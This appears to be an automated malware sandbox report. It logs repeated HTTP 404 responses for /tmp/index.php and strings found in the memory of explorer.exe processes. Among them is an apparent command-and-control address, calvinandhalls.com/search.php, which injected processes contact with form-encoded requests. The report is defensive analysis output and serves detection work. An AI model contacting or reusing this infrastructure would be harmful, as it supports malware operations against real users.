Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Wed, 25 Sep 2024 14:01:47 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Wed, 25 Sep 2024 14:01:49 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Wed, 25 Sep 2024 14:01:51 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Wed, 25 Sep 2024 14:01:54 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Wed, 25 Sep 2024 14:01:55 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 99 8b 5c 36 59 39 08 a5 6c 5f b5 ac 17 bd cf b4 fe 6d 9f 3d d4 a1 72 0a 41 c2 8f 97 cb Data Ascii: #\6Y9l_m=rA
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Wed, 25 Sep 2024 14:01:58 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Wed, 25 Sep 2024 14:01:59 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Wed, 25 Sep 2024 14:02:00 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Wed, 25 Sep 2024 14:02:03 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Wed, 25 Sep 2024 14:02:06 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Wed, 25 Sep 2024 14:02:07 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Wed, 25 Sep 2024 14:02:08 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Wed, 25 Sep 2024 14:03:21 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Wed, 25 Sep 2024 14:03:31 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Wed, 25 Sep 2024 14:03:44 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Wed, 25 Sep 2024 14:04:04 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Wed, 25 Sep 2024 14:04:26 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Wed, 25 Sep 2024 14:04:49 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Source: explorer.exe, 00000002.00000000.2127227127.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2127227127.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: explorer.exe, 00000002.00000000.2123559301.0000000000F13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.v
Source: explorer.exe, 00000002.00000000.2127227127.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2127227127.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: explorer.exe, 00000002.00000000.2127227127.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2127227127.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: explorer.exe, 00000002.00000000.2127227127.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2127227127.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: explorer.exe, 00000002.00000000.2127227127.00000000099C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
Source: explorer.exe, 00000002.00000000.2126713671.0000000008870000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000000.2125996604.0000000007DC0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000000.2126747794.0000000008890000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://schemas.micro
Source: explorer.exe, 00000002.00000000.2129926685.000000000C81C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: explorer.exe, 00000009.00000003.2965923859.00000000035CE000.00000004.00000020.00020000.00000000.sdmp, 6B89.tmp.9.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: explorer.exe, 00000002.00000000.2129326664.000000000C4DC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe
Source: explorer.exe, 00000002.00000000.2125128556.00000000076F8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOS
Source: explorer.exe, 00000002.00000000.2127227127.0000000009ADB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/
Source: explorer.exe, 00000002.00000000.2125128556.0000000007637000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 00000002.00000000.2124263465.00000000035FA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.coml
Source: explorer.exe, 00000009.00000002.2999912401.0000000003560000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://calvinandhalls.com/
Source: explorer.exe, 00000009.00000002.2999912401.00000000035D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://calvinandhalls.com/application/x-www-form-urlencodedMozilla/5.0
Source: explorer.exe, 00000009.00000002.2999912401.0000000003560000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://calvinandhalls.com/earch.phpX
Source: explorer.exe, 00000009.00000002.2999912401.0000000003560000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.2947253493.00000000004F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4536695596.00000000033E7000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4536019543.0000000001119000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.4537067944.0000000003207000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.4535707850.00000000007D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://calvinandhalls.com/search.php
Source: explorer.exe, 00000009.00000002.2999912401.0000000003560000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://calvinandhalls.com/search.phpI
